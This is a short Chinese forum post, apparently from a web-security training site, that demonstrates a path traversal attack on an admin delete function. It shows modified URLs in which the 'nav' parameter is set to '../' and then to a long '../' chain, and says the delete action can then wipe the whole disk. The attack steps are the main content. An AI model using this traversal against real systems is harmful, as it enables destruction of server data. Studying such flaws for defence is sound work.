找回密码
快捷导航
1.png

点击删除,得到链接地址

http://127.0.0.1/admin/index.php ... ;nav_id=9&nav=3

我们将nav参数改为

http://127.0.0.1/admin/index.php ... av_id=9&nav=../


如果格盘,那么就改为

http://127.0.0.1/admin/index.php ... /../../../../../../


从而就能导致格盘


诚殷网络专注WEB安全培训!
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Powered by Discuz! X3.4  © 2001-2013 Comsenz Inc.